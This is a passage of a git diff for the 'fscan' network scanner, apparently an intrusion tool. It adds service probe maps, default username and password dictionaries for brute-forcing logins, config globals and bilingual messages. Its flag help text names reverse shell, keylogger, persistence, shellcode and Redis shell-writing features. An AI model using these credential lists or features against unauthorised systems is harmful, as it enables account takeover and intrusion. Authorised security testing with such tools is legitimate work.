"PCWorkstation"}, + 5672: {"GenericLines"}, + 5984: {"GetRequest", "HTTPOptions"}, + 6000: {"X11Probe"}, + 6379: {"redis-server"}, + 6432: {"GenericLines"}, + 6667: {"GenericLines"}, + 7000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"}, + 7001: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"}, + 7002: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"}, + 7070: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 7443: {"GetRequest", "HTTPOptions", "SSLSessionReq"}, + 7777: {"GenericLines", "oracle-tns"}, + 8000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "iperf3"}, + 8005: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 8008: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 8009: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "ajp"}, + 8080: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 8081: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 8089: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 8090: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 8443: {"GetRequest", "HTTPOptions", "SSLSessionReq"}, + 8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 9000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"}, + 9042: {"GenericLines"}, + 9092: {"GenericLines", "kafka"}, + 9200: {"GetRequest", "HTTPOptions", "elasticsearch"}, + 9300: {"GenericLines"}, + 9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "adbConnect"}, + 10000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"}, + 10051: {"GenericLines"}, + 11211: {"Memcache"}, + 15672: {"GetRequest", "HTTPOptions"}, + 27017: {"mongodb"}, + 27018: {"mongodb"}, + 50070: {"GetRequest", "HTTPOptions"}, + 61616: {"GenericLines"}, +} + +// 默认服务用户字典 +var DefaultUserDict = map[string][]string{ + "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, + "mysql": {"root", "mysql"}, + "mssql": {"sa", "sql"}, + "smb": {"administrator", "admin", "guest"}, + "rdp": {"administrator", "admin", "guest"}, + "postgresql": {"postgres", "admin"}, + "ssh": {"root", "admin"}, + "mongodb": {"root", "admin"}, + "oracle": {"sys", "system", "admin", "test", "web", "orcl"}, + "telnet": {"root", "admin", "test"}, + "elastic": {"elastic", "admin", "kibana"}, + "rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"}, + "kafka": {"admin", "kafka", "root", "test"}, + "activemq": {"admin", "root", "activemq", "system", "user"}, + "ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"}, + "smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"}, + "imap": {"admin", "mail", "postmaster", "root", "user", "test"}, + "pop3": {"admin", "root", "mail", "user", "test", "postmaster"}, + "zabbix": {"Admin", "admin", "guest", "user"}, + "rsync": {"rsync", "root", "admin", "backup"}, + "cassandra": {"cassandra", "admin", "root", "system"}, + "neo4j": {"neo4j", "admin", "root", "test"}, +} + +// 默认密码字典 +var DefaultPasswords = []string{ + "123456", "admin", "admin123", "root", "", "pass123", "pass@123", + "password", "Password", "P@ssword123", "123123", "654321", "111111", + "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", + "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", + "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", + "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", + "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", + "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", + "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", + "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", + "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", + "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", + "1q2w3e", "Charge123", "Aa123456789", "elastic123", +} diff --git a/common/globals.go b/common/globals.go new file mode 100644 index 0000000..4a9bcd8 --- /dev/null +++ b/common/globals.go @@ -0,0 +1,196 @@ +package common + +import ( + "sync" + "time" + + "github.com/schollz/progressbar/v3" + "github.com/shadow1ng/fscan/common/base" + "github.com/shadow1ng/fscan/common/logging" +) + +/* +globals.go - 全局变量定义 + +使用线程安全的配置管理,消除双向同步机制,直接使用core包作为唯一数据源。 +保持向后兼容的同时提供并发安全的访问。 +*/ + +// ============================================================================= +// 版本信息 +// ============================================================================= + +var version = "2.2.1" + +// ============================================================================= +// 简化的全局状态管理(仅保留必要的同步机制) +// ============================================================================= + +// globalState已简化,因为大部分管理函数未被使用 +// 保留基本的时间记录用于向后兼容 +var startTimeInit = time.Now() + +// ============================================================================= +// 核心扫描配置 - 直接使用core包变量(单一数据源) +// ============================================================================= + +var ( + ScanMode string // 直接映射到base.ScanMode + ThreadNum int // 直接映射到base.ThreadNum + Timeout int64 // 直接映射到base.Timeout + DisablePing bool // 直接映射到base.DisablePing + LocalMode bool // 直接映射到base.LocalMode + LocalPlugin string // 本地插件选择 + AliveOnly bool // 仅存活探测模式 +) + +// ============================================================================= +// 基础认证配置 - 直接使用core包变量 +// ============================================================================= + +var ( + Username string // 直接映射到base.Username + Password string // 直接映射到base.Password + Userdict map[string][]string // 直接映射到base.Userdict + Passwords []string // 直接映射到base.Passwords +) + +// ============================================================================= +// 网络配置 - 直接使用core包变量 +// ============================================================================= + +var ( + HttpProxy string // 直接映射到base.HttpProxy + Socks5Proxy string // 直接映射到base.Socks5Proxy +) + +// ============================================================================= +// 显示控制 - 直接使用core包变量 +// ============================================================================= + +var ( + NoColor bool // 直接映射到base.NoColor + Language string // 直接映射到base.Language + LogLevel string // 直接映射到base.LogLevel + + // 进度条控制 + ShowProgress bool // 计算得出:!DisableProgress +) + +// ============================================================================= +// 端口映射 - 直接使用core包变量 +// ============================================================================= + +var ( + PortMap map[int][]string // 直接映射到base.PortMap + DefaultMap []string // 直接映射到base.DefaultMap +) + +// ============================================================================= +// 线程安全的输出状态管理(已移除未使用的函数) +// ============================================================================= + +// 注意:GetOutputfile, SetOutputfile, GetOutputFormat, SetOutputFormat, +// GetProgressBar, SetProgressBar, GetStats, SetStats, IncrementNum等函数 +// 已根据死代码分析移除,因为它们在代码库中没有被使用。 +// 如有需要,可以通过直接访问向后兼容的全局变量实现相同功能。 + +// ============================================================================= +// 核心配置同步(线程安全) +// ============================================================================= + +// SyncFromCore 从core包同步配置到common包(读操作) +func SyncFromCore() { + ScanMode = base.ScanMode + ThreadNum = base.ThreadNum + Timeout = base.Timeout + DisablePing = base.DisablePing + LocalMode = base.LocalMode + LocalPlugin = base.LocalPlugin + + Username = base.Username + Password = base.Password + Userdict = base.Userdict + Passwords = base.Passwords + + HttpProxy = base.HttpProxy + Socks5Proxy = base.Socks5Proxy + + NoColor = base.NoColor + Language = base.Language + LogLevel = base.LogLevel + + PortMap = base.PortMap + DefaultMap = base.DefaultMap +} + +// SyncToCore 同步common包配置到core包(写操作) +func SyncToCore() { + base.ScanMode = ScanMode + base.ThreadNum = ThreadNum + base.Timeout = Timeout + base.DisablePing = DisablePing + base.LocalMode = LocalMode + base.LocalPlugin = LocalPlugin + + base.Username = Username + base.Password = Password + base.Userdict = Userdict + base.Passwords = Passwords + + base.HttpProxy = HttpProxy + base.Socks5Proxy = Socks5Proxy + + base.NoColor = NoColor + base.Language = Language + base.LogLevel = LogLevel + + base.PortMap = PortMap + base.DefaultMap = DefaultMap +} + +// ============================================================================= +// 向后兼容的全局变量 +// ============================================================================= + +var ( + // 输出配置(向后兼容) + Outputfile string + OutputFormat string + ProgressBar *progressbar.ProgressBar + OutputMutex sync.Mutex + + // 统计信息(向后兼容) + Num, End int64 + StartTime = time.Now() +) + +// ============================================================================= +// 日志级别常量 +// ============================================================================= + +const ( + LogLevelAll = string(logging.LevelAll) + LogLevelError = string(logging.LevelError) + LogLevelBase = string(logging.LevelBase) + LogLevelInfo = string(logging.LevelInfo) + LogLevelSuccess = string(logging.LevelSuccess) + LogLevelDebug = string(logging.LevelDebug) + LogLevelInfoSuccess = string(logging.LevelInfoSuccess) + LogLevelBaseInfoSuccess = string(logging.LevelBaseInfoSuccess) +) + +// ============================================================================= +// 初始化 +// ============================================================================= + +func init() { + // 初始化core包配置 + base.InitGlobalConfig() + + // 从core包同步初始配置 + SyncFromCore() + + // 初始化向后兼容的时间变量 + StartTime = startTimeInit +} \ No newline at end of file diff --git a/common/hostinfo_ext.go b/common/hostinfo_ext.go new file mode 100644 index 0000000..e41b78e --- /dev/null +++ b/common/hostinfo_ext.go @@ -0,0 +1,58 @@ +package common + +import ( + "fmt" + "strconv" +) + +// HostInfoHelper 提供HostInfo的辅助方法 +// 使用函数而不是方法,保持向后兼容 + + +// GetPort 获取端口号(转换为整数) +func GetPort(h *HostInfo) (int, error) { + if h.Ports == "" { + return 0, fmt.Errorf("端口未设置") + } + return strconv.Atoi(h.Ports) +} + + +// IsWebTarget 判断是否为Web目标 +func IsWebTarget(h *HostInfo) bool { + return h.Url != "" +} + +// HasPort 检查是否设置了端口 +func HasPort(h *HostInfo) bool { + return h.Ports != "" +} + +// ValidateHostInfo 验证HostInfo的有效性 +func ValidateHostInfo(h *HostInfo) error { + if h.Host == "" && h.Url == "" { + return fmt.Errorf("主机地址或URL必须至少指定一个") + } + + // 验证端口格式(如果指定了) + if h.Ports != "" { + if _, err := GetPort(h); err != nil { + return fmt.Errorf("端口格式无效: %v", err) + } + } + + return nil +} + +// HostInfoString 返回HostInfo的字符串表示 +func HostInfoString(h *HostInfo) string { + if IsWebTarget(h) { + return h.Url + } + + if HasPort(h) { + return fmt.Sprintf("%s:%s", h.Host, h.Ports) + } + + return h.Host +} \ No newline at end of file diff --git a/common/i18n/init.go b/common/i18n/init.go new file mode 100644 index 0000000..9288ce9 --- /dev/null +++ b/common/i18n/init.go @@ -0,0 +1,48 @@ +package i18n + +import ( + "github.com/shadow1ng/fscan/common/i18n/messages" +) + +/* +init.go - 国际化模块统一初始化 + +自动加载所有分类消息到全局管理器, +确保所有消息在程序启动时正确注册。 +*/ + +// init 统一初始化所有国际化消息 +func init() { + // 按类别依次加载所有消息 + loadAllMessages() +} + +// loadAllMessages 加载所有分类的消息 +func loadAllMessages() { + // 加载核心系统消息 + AddMessages(messages.CoreMessages) + + // 加载解析相关消息 + AddMessages(messages.ParseMessages) + + // 加载配置相关消息 + AddMessages(messages.ConfigMessages) + + // 加载扫描相关消息 + AddMessages(messages.ScanMessages) + + // 加载网络相关消息 + AddMessages(messages.NetworkMessages) + + // 加载输出相关消息 + AddMessages(messages.OutputMessages) + + // 加载通用错误消息 + AddMessages(messages.ErrorMessages) + + // 加载命令行参数消息 + AddMessages(messages.FlagMessages) + + // 加载插件相关消息 + AddMessages(messages.PluginMessages) +} \ No newline at end of file diff --git a/common/i18n/manager.go b/common/i18n/manager.go new file mode 100644 index 0000000..79e3c65 --- /dev/null +++ b/common/i18n/manager.go @@ -0,0 +1,220 @@ +package i18n + +import ( + "fmt" + "sync" +) + +/* +manager.go - 国际化管理器 + +提供统一的国际化文本管理,支持多语言动态切换, +包含完整的消息库和高效的文本查询机制。 +*/ + +// ============================================================================= +// 常量定义 +// ============================================================================= + +// 支持的语言常量 +const ( + LangZH = "zh" // 中文 + LangEN = "en" // 英文 +) + +// 默认配置 +const ( + DefaultLanguage = LangZH // 默认语言 + FallbackLanguage = LangEN // 回退语言 +) + +// ============================================================================= +// 国际化管理器 +// ============================================================================= + +// Manager 国际化管理器 +type Manager struct { + mu sync.RWMutex + currentLanguage string + fallbackLanguage string + messages map[string]map[string]string + enabled bool +} + +// 全局管理器实例 +var globalManager = NewManager() + +// NewManager 创建新的国际化管理器 +func NewManager() *Manager { + return &Manager{ + currentLanguage: DefaultLanguage, + fallbackLanguage: FallbackLanguage, + messages: make(map[string]map[string]string), + enabled: true, + } +} + +// ============================================================================= +// 基础管理方法 +// ============================================================================= + +// SetLanguage 设置当前语言 +func (m *Manager) SetLanguage(lang string) { + m.mu.Lock() + defer m.mu.Unlock() + m.currentLanguage = lang +} + +// SetFallbackLanguage 设置回退语言 +func (m *Manager) SetFallbackLanguage(lang string) { + m.mu.Lock() + defer m.mu.Unlock() + m.fallbackLanguage = lang +} + +// Enable 启用国际化 +func (m *Manager) Enable() { + m.mu.Lock() + defer m.mu.Unlock() + m.enabled = true +} + +// ============================================================================================= +// 已删除的死代码函数(未使用):GetLanguage, Disable +// ============================================================================================= + +// IsEnabled 检查是否启用国际化 +func (m *Manager) IsEnabled() bool { + m.mu.RLock() + defer m.mu.RUnlock() + return m.enabled +} + +// ============================================================================= +// 消息管理方法 +// ============================================================================= + +// AddMessages 批量添加消息 +func (m *Manager) AddMessages(messages map[string]map[string]string) { + m.mu.Lock() + defer m.mu.Unlock() + for key, translations := range messages { + m.messages[key] = translations + } +} + +// GetMessage 获取指定键和语言的消息 +func (m *Manager) GetMessage(key, lang string) (string, bool) { + m.mu.RLock() + defer m.mu.RUnlock() + + if translations, exists := m.messages[key]; exists { + if message, exists := translations[lang]; exists { + return message, true + } + } + return "", false +} + +// ============================================================================================= +// 已删除的死代码函数(未使用): +// AddMessage, HasMessage, GetAllMessages, GetMessageCount, GetSupportedLanguages +// ============================================================================================= + +// ============================================================================= +// 文本获取方法 +// ============================================================================= + +// GetText 获取国际化文本(支持格式化) +func (m *Manager) GetText(key string, args ...interface{}) string { + if !m.IsEnabled() { + // 如果禁用国际化,返回原始键名 + if len(args) > 0 { + return fmt.Sprintf(key, args...) + } + return key + } + + m.mu.RLock() + currentLang := m.currentLanguage + fallbackLang := m.fallbackLanguage + m.mu.RUnlock() + + // 尝试获取当前语言的消息 + if message, exists := m.GetMessage(key, currentLang); exists { + if len(args) > 0 { + return fmt.Sprintf(message, args...) + } + return message + } + + // 回退到回退语言 + if currentLang != fallbackLang { + if message, exists := m.GetMessage(key, fallbackLang); exists { + if len(args) > 0 { + return fmt.Sprintf(message, args...) + } + return message + } + } + + // 如果都没找到,返回键名作为兜底 + if len(args) > 0 { + return fmt.Sprintf(key, args...) + } + return key +} + +// ============================================================================================= +// 已删除的死代码函数(未使用):GetTextWithLanguage +// ============================================================================================= + +// ============================================================================= +// 全局访问函数 +// ============================================================================= + +// SetLanguage 设置全局语言 +func SetLanguage(lang string) { + globalManager.SetLanguage(lang) +} + +// AddMessages 批量添加消息到全局管理器 +func AddMessages(messages map[string]map[string]string) { + globalManager.AddMessages(messages) +} + +// GetText 从全局管理器获取国际化文本 +func GetText(key string, args ...interface{}) string { + return globalManager.GetText(key, args...) +} + +// GetExploitMethodName 获取利用方法的本地化名称 +func GetExploitMethodName(methodName string) string { + // 尝试获取本地化的方法名称 + key := fmt.Sprintf("exploit_method_name_%s", methodName) + localizedName := globalManager.GetText(key) + + // 如果没有找到对应的本地化名称,返回原始名称 + if localizedName == key { + return methodName + } + return localizedName +} + +// ============================================================================================= +// 已删除的死代码函数(未使用): +// GetGlobalManager, GetLanguage, AddMessage, GetTextWithLanguage, +// Enable, Disable, IsEnabled, HasMessage, GetMessageCount, GetSupportedLanguages +// ============================================================================================= + +// ============================================================================= +// 初始化函数 +// ============================================================================= + +// init 初始化全局国际化管理器 +func init() { + // 设置默认配置 + globalManager.SetLanguage(DefaultLanguage) + globalManager.SetFallbackLanguage(FallbackLanguage) + globalManager.Enable() +} diff --git a/common/i18n/messages/config.go b/common/i18n/messages/config.go new file mode 100644 index 0000000..05153e1 --- /dev/null +++ b/common/i18n/messages/config.go @@ -0,0 +1,79 @@ +package messages + +/* +config.go - 配置相关消息 + +包含配置管理、验证、同步等相关的 +国际化消息定义。 +*/ + +// ConfigMessages 配置相关消息 +var ConfigMessages = map[string]map[string]string{ + // ========================= 配置相关消息 ========================= + "config_sync_start": { + LangZH: "开始同步配置", + LangEN: "Starting configuration sync", + }, + "config_sync_complete": { + LangZH: "配置同步完成", + LangEN: "Configuration sync completed", + }, + "config_validation_start": { + LangZH: "开始配置验证", + LangEN: "Starting configuration validation", + }, + "config_validation_complete": { + LangZH: "配置验证完成", + LangEN: "Configuration validation completed", + }, + "config_invalid_scan_mode": { + LangZH: "无效的扫描模式: %s", + LangEN: "Invalid scan mode: %s", + }, + "config_invalid_thread_num": { + LangZH: "无效的线程数: %d", + LangEN: "Invalid thread number: %d", + }, + "config_invalid_timeout": { + LangZH: "无效的超时时间: %v", + LangEN: "Invalid timeout: %v", + }, + "config_invalid_proxy": { + LangZH: "无效的代理配置: %s", + LangEN: "Invalid proxy configuration: %s", + }, + "config_missing_required": { + LangZH: "缺少必需的配置项: %s", + LangEN: "Missing required configuration: %s", + }, + "config_load_default": { + LangZH: "加载默认配置", + LangEN: "Loading default configuration", + }, + "config_override_detected": { + LangZH: "检测到配置覆盖: %s", + LangEN: "Configuration override detected: %s", + }, + "config_web_timeout_warning": { + LangZH: "Web超时时间大于普通超时时间,可能导致不期望的行为", + LangEN: "Web timeout is larger than normal timeout, may cause unexpected behavior", + }, + + // ========================= 验证相关消息 ========================= + "validation_start": { + LangZH: "开始配置验证", + LangEN: "Starting configuration validation", + }, + "validation_complete": { + LangZH: "配置验证完成", + LangEN: "Configuration validation completed", + }, + "validation_warning": { + LangZH: "验证警告: %s", + LangEN: "Validation warning: %s", + }, + "validation_error": { + LangZH: "验证错误: %s", + LangEN: "Validation error: %s", + }, +} \ No newline at end of file diff --git a/common/i18n/messages/constants.go b/common/i18n/messages/constants.go new file mode 100644 index 0000000..ae1b3ef --- /dev/null +++ b/common/i18n/messages/constants.go @@ -0,0 +1,13 @@ +package messages + +/* +constants.go - 消息包常量定义 + +包含消息包中使用的语言常量,避免循环导入问题。 +*/ + +// 语言常量 +const ( + LangZH = "zh" // 中文 + LangEN = "en" // 英文 +) \ No newline at end of file diff --git a/common/i18n/messages/core.go b/common/i18n/messages/core.go new file mode 100644 index 0000000..141b40b --- /dev/null +++ b/common/i18n/messages/core.go @@ -0,0 +1,93 @@ +package messages + +/* +core.go - 核心系统消息 + +包含系统核心功能的国际化消息,包括扫描流程、 +系统状态、通用错误等基础消息。 +*/ + +// CoreMessages 核心系统消息 +var CoreMessages = map[string]map[string]string{ + // ========================= 系统状态消息 ========================= + "status_scan_start": { + LangZH: "开始扫描", + LangEN: "Starting scan", + }, + "status_scan_complete": { + LangZH: "扫描完成", + LangEN: "Scan completed", + }, + "status_scan_progress": { + LangZH: "扫描进度: %d/%d", + LangEN: "Scan progress: %d/%d", + }, + "status_target_found": { + LangZH: "发现目标: %s", + LangEN: "Target found: %s", + }, + "status_service_detected": { + LangZH: "检测到服务: %s", + LangEN: "Service detected: %s", + }, + "status_vuln_found": { + LangZH: "发现漏洞: %s", + LangEN: "Vulnerability found: %s", + }, + "status_connection_failed": { + LangZH: "连接失败: %s", + LangEN: "Connection failed: %s", + }, + "status_timeout": { + LangZH: "连接超时: %s", + LangEN: "Connection timeout: %s", + }, + + // ========================= 通用状态消息 ========================= + "status_initializing": { + LangZH: "正在初始化...", + LangEN: "Initializing...", + }, + "status_processing": { + LangZH: "正在处理...", + LangEN: "Processing...", + }, + "status_completed": { + LangZH: "已完成", + LangEN: "Completed", + }, + "status_failed": { + LangZH: "失败", + LangEN: "Failed", + }, + "status_cancelled": { + LangZH: "已取消", + LangEN: "Cancelled", + }, + "status_ready": { + LangZH: "就绪", + LangEN: "Ready", + }, + + // ========================= 文件操作消息 ========================= + "file_read_start": { + LangZH: "开始读取文件: %s", + LangEN: "Starting to read file: %s", + }, + "file_read_complete": { + LangZH: "文件读取完成: %s", + LangEN: "File reading completed: %s", + }, + "file_read_error": { + LangZH: "读取文件错误: %s", + LangEN: "File reading error: %s", + }, + "file_not_exist": { + LangZH: "文件不存在: %s", + LangEN: "File does not exist: %s", + }, + "file_empty": { + LangZH: "文件为空: %s", + LangEN: "File is empty: %s", + }, +} \ No newline at end of file diff --git a/common/i18n/messages/error.go b/common/i18n/messages/error.go new file mode 100644 index 0000000..4cb4490 --- /dev/null +++ b/common/i18n/messages/error.go @@ -0,0 +1,33 @@ +package messages + +/* +error.go - 通用错误消息 + +包含通用错误、异常处理等相关的 +国际化消息定义。 +*/ + +// ErrorMessages 通用错误消息 +var ErrorMessages = map[string]map[string]string{ + // ========================= 通用错误消息 ========================= + "error_occurred": { + LangZH: "错误: %v", + LangEN: "Error: %v", + }, + "error_unknown": { + LangZH: "未知错误", + LangEN: "Unknown error", + }, + "error_not_implemented": { + LangZH: "功能未实现", + LangEN: "Feature not implemented", + }, + "error_permission_denied": { + LangZH: "权限不足", + LangEN: "Permission denied", + }, + "error_resource_busy": { + LangZH: "资源忙碌", + LangEN: "Resource busy", + }, +} \ No newline at end of file diff --git a/common/i18n/messages/flag.go b/common/i18n/messages/flag.go new file mode 100644 index 0000000..dd661ba --- /dev/null +++ b/common/i18n/messages/flag.go @@ -0,0 +1,273 @@ +package messages + +/* +flag.go - 命令行参数消息 + +包含命令行参数帮助信息等相关的 +国际化消息定义。 +*/ + +// FlagMessages 命令行参数消息 +var FlagMessages = map[string]map[string]string{ + // ========================= Flag参数帮助消息 ========================= + "flag_host": { + LangZH: "目标主机: IP, IP段, IP段文件, 域名", + LangEN: "Target host: IP, IP range, IP file, domain", + }, + "flag_exclude_hosts": { + LangZH: "排除主机", + LangEN: "Exclude hosts", + }, + "flag_ports": { + LangZH: "端口: 默认1000个常用端口", + LangEN: "Ports: default 1000 common ports", + }, + "flag_exclude_ports": { + LangZH: "排除端口", + LangEN: "Exclude ports", + }, + "flag_hosts_file": { + LangZH: "主机文件", + LangEN: "Hosts file", + }, + "flag_ports_file": { + LangZH: "端口文件", + LangEN: "Ports file", + }, + "flag_scan_mode": { + LangZH: "扫描模式: all(全部), icmp(存活探测), 或指定插件名称", + LangEN: "Scan mode: all(all plugins), icmp(alive detection), or specific plugin names", + }, + "flag_thread_num": { + LangZH: "端口扫描线程数", + LangEN: "Port scan thread count", + }, + "flag_timeout": { + LangZH: "端口扫描超时时间", + LangEN: "Port scan timeout", + }, + "flag_module_thread_num": { + LangZH: "模块线程数", + LangEN: "Module thread count", + }, + "flag_global_timeout": { + LangZH: "全局超时时间", + LangEN: "Global timeout", + }, + "flag_live_top": { + LangZH: "存活主机显示数量", + LangEN: "Live hosts display count", + }, + "flag_disable_ping": { + LangZH: "禁用ping探测", + LangEN: "Disable ping detection", + }, + "flag_enable_fingerprint": { + LangZH: "启用指纹识别", + LangEN: "Enable fingerprinting", + }, + "flag_local_mode": { + LangZH: "本地扫描模式", + LangEN: "Local scan mode", + }, + "flag_alive_only": { + LangZH: "仅进行存活探测", + LangEN: "Alive detection only", + }, + "param_conflict_ao_icmp_both": { + LangZH: "提示: 同时指定了 -ao 和 -m icmp,两者功能相同,使用存活探测模式", + LangEN: "Note: Both -ao and -m icmp specified, both enable alive detection mode", + }, + "flag_username": { + LangZH: "用户名", + LangEN: "Username", + }, + "flag_password": { + LangZH: "密码", + LangEN: "Password", + }, + "flag_add_users": { + LangZH: "额外用户名", + LangEN: "Additional usernames", + }, + "flag_add_passwords": { + LangZH: "额外密码", + LangEN: "Additional passwords", + }, + "flag_users_file": { + LangZH: "用户名字典文件", + LangEN: "Username dictionary file", + }, + "flag_passwords_file": { + LangZH: "密码字典文件", + LangEN: "Password dictionary file", + }, + "flag_hash_file": { + LangZH: "哈希文件", + LangEN: "Hash file", + }, + "flag_hash_value": { + LangZH: "哈希值", + LangEN: "Hash value", + }, + "flag_domain": { + LangZH: "域名", + LangEN: "Domain name", + }, + "flag_ssh_key": { + LangZH: "SSH私钥文件", + LangEN: "SSH private key file", + }, + "flag_target_url": { + LangZH: "目标URL", + LangEN: "Target URL", + }, + "flag_urls_file": { + LangZH: "URL文件", + LangEN: "URLs file", + }, + "flag_cookie": { + LangZH: "HTTP Cookie", + LangEN: "HTTP Cookie", + }, + "flag_web_timeout": { + LangZH: "Web超时时间", + LangEN: "Web timeout", + }, + "flag_http_proxy": { + LangZH: "HTTP代理", + LangEN: "HTTP proxy", + }, + "flag_poc_path": { + LangZH: "POC脚本路径", + LangEN: "POC script path", + }, + "flag_poc_name": { + LangZH: "POC名称", + LangEN: "POC name", + }, + "flag_poc_full": { + LangZH: "全量POC扫描", + LangEN: "Full POC scan", + }, + "flag_dns_log": { + LangZH: "DNS日志记录", + LangEN: "DNS logging", + }, + "flag_poc_num": { + LangZH: "POC并发数", + LangEN: "POC concurrency", + }, + "flag_no_poc": { + LangZH: "禁用POC扫描", + LangEN: "Disable POC scan", + }, + "flag_redis_file": { + LangZH: "Redis文件", + LangEN: "Redis file", + }, + "flag_redis_shell": { + LangZH: "Redis Shell", + LangEN: "Redis Shell", + }, + "flag_redis_write_path": { + LangZH: "Redis写入路径", + LangEN: "Redis write path", + }, + "flag_redis_write_content": { + LangZH: "Redis写入内容", + LangEN: "Redis write content", + }, + "flag_redis_write_file": { + LangZH: "Redis写入文件", + LangEN: "Redis write file", + }, + "flag_disable_brute": { + LangZH: "禁用暴力破解", + LangEN: "Disable brute force", + }, + "flag_max_retries": { + LangZH: "最大重试次数", + LangEN: "Maximum retries", + }, + "flag_output_file": { + LangZH: "输出文件", + LangEN: "Output file", + }, + "flag_output_format": { + LangZH: "输出格式: txt, json, csv", + LangEN: "Output format: txt, json, csv", + }, + "flag_disable_save": { + LangZH: "禁用结果保存", + LangEN: "Disable result saving", + }, + "flag_silent_mode": { + LangZH: "静默模式", + LangEN: "Silent mode", + }, + "flag_no_color": { + LangZH: "禁用颜色输出", + LangEN: "Disable color output", + }, + "flag_log_level": { + LangZH: "日志级别", + LangEN: "Log level", + }, + "flag_disable_progress": { + LangZH: "禁用进度条", + LangEN: "Disable progress bar", + }, + "flag_shellcode": { + LangZH: "Shellcode", + LangEN: "Shellcode", + }, + "flag_reverse_shell_target": { + LangZH: "反弹Shell目标地址:端口 (如: 192.168.1.100:4444)", + LangEN: "Reverse shell target address:port (e.g.: 192.168.1.100:4444)", + }, + "flag_socks5_proxy": { + LangZH: "使用SOCKS5代理 (如: 127.0.0.1:1080)", + LangEN: "Use SOCKS5 proxy (e.g.: 127.0.0.1:1080)", + }, + "flag_start_socks5_server": { + LangZH: "启动SOCKS5代理服务器端口 (如: 1080)", + LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)", + }, + "flag_forward_shell_port": { + LangZH: "启动正向Shell服务器端口 (如: 4444)", + LangEN: "Start forward shell server on port (e.g.: 4444)", + }, + "flag_persistence_file": { + LangZH: "Linux持久化目标文件路径 (支持.elf/.sh文件)", + LangEN: "Linux persistence target file path (supports .elf/.sh files)", + }, + "flag_win_pe_file": { + LangZH: "Windows持久化目标PE文件路径 (支持.exe/.dll文件)", + LangEN: "Windows persistence target PE file path (supports .exe/.dll files)", + }, + "flag_keylogger_output": { + LangZH: "键盘记录输出文件路径", + LangEN: "Keylogger output file path", + }, + "flag_download_url": { + LangZH: "要下载的文件URL", + LangEN: "URL of the file to download", + }, + "flag_download_path": { + LangZH: "下载文件保存路径", + LangEN: "Save path for downloaded file", + }, + "flag_language": { + LangZH: "语言: zh, en", + LangEN: "Language: zh, en", + }, + "flag_help": { + LangZH: "显示帮助信息", + LangEN: "Show help information", + }, + "flag_version": { + LangZH: "显示版本信息", + LangEN: "Show version information", + }, +} \ No newline at end of file diff --git a/common/i18n/messages/network.go b/common/i18n/messages/network.go new file mode 100644 index 0000000..ee7c7e5 --- /dev/null +++ b/common/i18n/messages/network.go @@ -0,0 +1,67 @@ +package messages + +/* +network.go - 网络相关消息 + +包含网络配置、代理设置、连接管理等相关的 +国际化消息定义。 +*/ + +// NetworkMessages 网络相关消息 +var NetworkMessages = map[string]map[string]string{ + // ========================= 网络配置消息 ========================= + "network_http_proxy": { + LangZH: "HTTP代理: %s", + LangEN: "HTTP proxy: %s", + }, + "network_socks5_proxy": { + LangZH: "Socks5代理: %s", + LangEN: "Socks5 proxy: %s", + }, + "network_timeout": { + LangZH: "连接超时: %v", + LangEN: "Connection timeout: %v", + }, + "network_web_timeout": { + LangZH: "Web超时: %v", + LangEN: "Web timeout: %v", + }, + + // ========================= 代理系统消息 ========================= + "proxy_init_start": { + LangZH: "初始化代理系统", + LangEN: "Initializing proxy system", + }, + "proxy_init_success": { + LangZH: "代理系统初始化成功", + LangEN: "Proxy system initialized successfully", + }, + "proxy_init_failed": { + LangZH: "初始化代理配置失败: %v", + LangEN: "Failed to initialize proxy configuration: %v", + }, + "proxy_config_sync_failed": { + LangZH: "代理配置同步失败: %v", + LangEN: "Failed to sync proxy configuration: %v", + }, + "proxy_enabled": { + LangZH: "代理已启用: %s %s", + LangEN: "Proxy enabled: %s %s", + }, + "proxy_disabled": { + LangZH: "代理已禁用", + LangEN: "Proxy disabled", + }, + "proxy_connection_failed": { + LangZH: "代理连接失败: %v", + LangEN: "Proxy connection failed: %v", + }, + "socks5_create_failed": { + LangZH: "创建SOCKS5连接失败: %v", + LangEN: "Failed to create SOCKS5 connection: %v", + }, + "tls_conn_failed": { + LangZH: "TLS连接失败: %v", + LangEN: "TLS connection failed: %v", + }, +} \ No newline at end of file diff --git a/common/i18n/messages/output.go b/common/i18n/messages/output.go new file mode 100644 index 0000000..c89a410 --- /dev/null +++ b/common/i18n/messages/output.go @@ -0,0 +1,109 @@ +package messages + +/* +output.go - 输出相关消息 + +包含输出系统、文件保存、格式化等相关的 +国际化消息定义。 +*/ + +// OutputMessages 输出相关消息 +var OutputMessages = map[string]map[string]string{ + // ========================= 输出系统消息 ========================= + "output_init_start": { + LangZH: "初始化输出系统", 